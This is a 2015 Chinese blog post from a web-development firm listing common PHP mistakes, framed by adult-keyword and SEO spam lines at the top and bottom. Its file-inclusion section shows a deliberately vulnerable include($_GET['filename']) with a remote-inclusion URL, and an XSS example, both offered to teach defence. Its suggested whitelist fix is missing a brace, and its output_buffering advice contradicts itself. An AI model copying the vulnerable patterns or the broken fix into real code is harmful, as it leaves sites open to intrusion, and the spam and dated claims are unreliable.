亚洲日韩精品欧美一区二区一,99精品欧美一区二区三区视频 ,欧美一区二区三区在线观看视频,荡乳尤物3ph合欢

PHP程序員最易犯的錯誤匯總


發布日期:2015-05-28

 

今天我們沈陽網站制作來為大家列出PHP程序員最易犯的錯誤,大家也來看一看哪些是我們犯過的錯誤。

1、錯誤的使用HTTP-header 相關的函數: header(), session_start(), setcookie()
 
遇到過這個警告嗎?
 
"warning: Cannot add header information - headers already sent [....]
 
每次從服務器下載一個網頁的時候,服務器的輸出都分成兩個部分:頭部和正文。
 
頭部包含了一些非可視的數據,例如cookie。頭部總是先到達。正文部分包括可視的html,圖片等數據。
 
如果output_buffering設置為Off,所有的HTTP-header相關的函數必須在有輸出之前調用。問題在于你在一個環境中開發,而在部署到另一個環境中去的時候,output_buffering的設置可能不一樣。結果轉向停止了,cookie和session都沒有正確的設置……
 
如何修復:
 
確保在輸出之前調用http-header相關的函數,并且令output_buffering = Off。
 
2、語法錯誤
 
語法錯誤包括所有的詞法和語法錯誤,太常見了,以至于我不得不在這里列出。解決辦法就是認真學習PHP的語法,仔細一點不要漏掉一個括號,大括號,分號,引號。還有就是換個好的編輯器,就不要用記事本了!
 
3、不使用framework
 
95% 的PHP項目都在做同樣的四件事: Create, edit, list 和delete. 現在有很多MVC的框架來幫我們完成這四件事,我們為何不使用他們呢?
 
4、使用舊版本的PHP
 
很多程序員還在使用PHP4,在PHP4上開發不能充分發揮PHP的潛能,還存在一些安全的隱患。轉到PHP5上來吧,并不費很多功夫。大部分PHP4程序只要改動很少的語句甚至無需改動就可以遷移到PHP5上來。根據http://www.nexen.net的調查只有12%的PHP服務器使用PHP5,所以有88%的PHP開發者還在使用PHP4。
 
5、不知道PHP中已經有的功能
 
PHP 的核心包含很多功能。很多程序員重復的發明輪子。浪費了大量時間。編碼之前搜索一下PHP mamual,在google上檢索一下,也許會有新的發現!PHP中的exec()是一個強大的函數,可以執行cmd shell,并把執行結果的最后一行以字符串的形式返回。考慮到安全可以使用EscapeShellCmd()。

6、很少使用或不用面向對象

很多的項目都沒有使用PHP的面向對象技術,結果就是代碼的維護變得非常耗時耗力。PHP支持的面向對象技術越來越多,越來越好,我們沒有理由不使用面向對象。
 
7、Require 或 include 的文件使用不安全的數據
 
再次強調:不要相信不是你自己顯式聲明的數據。不要 Include 或 require 從$_GET, $_POST 或 $_COOKIE 中得到的文件。
 
例如:
 
 
index.php 
<? 
//including header, config, database connection, etc 
include($_GET['filename']); 
//including footer 
?>
 
現在任一個****現在都可以用:
 
http://www.yourdomain.com/index.php?filename=anyfile.txt
 
來獲取你的機密信息,或執行一個PHP腳本。
 
如果allow_url_fopen=On,你更是死定了:
 
試試這個輸入:
 
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
 
現在你的網頁中包含了http://www.youaredoomed.com/phphack.php的輸出. ****可以發送垃圾郵件,改變密碼,刪除文件等等。只要你能想得到。
 
如何修復:
 
你必須自己控制哪些文件可以包含在的include或require指令中。
 
下面是一個快速但不全面的解決方法:
 
 
<? 
//Include only files that are allowed. 
$allowedFiles = array('file1.txt','file2.txt','file3.txt'); 
if(in_array((string)$_GET['filename'],$allowedFiles)) { 
include($_GET['filename']); 
else{ 
exit('not allowed'); 
?>
 
8、不轉意html entities
 
一個基本的常識:所有不可信任的輸入(特別是用戶從form中提交的數據) ,輸出之前都要轉意。
 
echo $_GET['usename'] ;
 
這個例子有可能輸出:
 
<scrīpt>/*更改admin密碼的腳本或設置cookie的腳本*/</scrīpt>
 
這是一個明顯的安全隱患,除非你保證你的用戶都正確的輸入。
 
如何修復 :
 
我們需要將"< ",">","and" 等轉換成正確的HTML表示(< , >', and "),函數htmlspecialchars 和 htmlentities()正是干這個活的。
 
正確的方法:
 
echo htmlspecialchars($_GET['username'], ENT_QUOTES);

 

主站蜘蛛池模板: 新干县| 敖汉旗| 汉川市| 霍州市| 工布江达县| 南漳县| 丰城市| 行唐县| 遂溪县| 怀化市| 杭锦后旗| 铜梁县| 渭南市| 望江县| 唐河县| 宝丰县| 仪陇县| 江安县| 得荣县| 河南省| 拜泉县| 梨树县| 辛集市| 洪湖市| 板桥市| 泸州市| 扎鲁特旗| 开平市| 遵义县| 商洛市| 应用必备| 溧水县| 牙克石市| 永吉县| 南安市| 合川市| 翁牛特旗| 彭山县| 阜新市| 新宁县| 庐江县|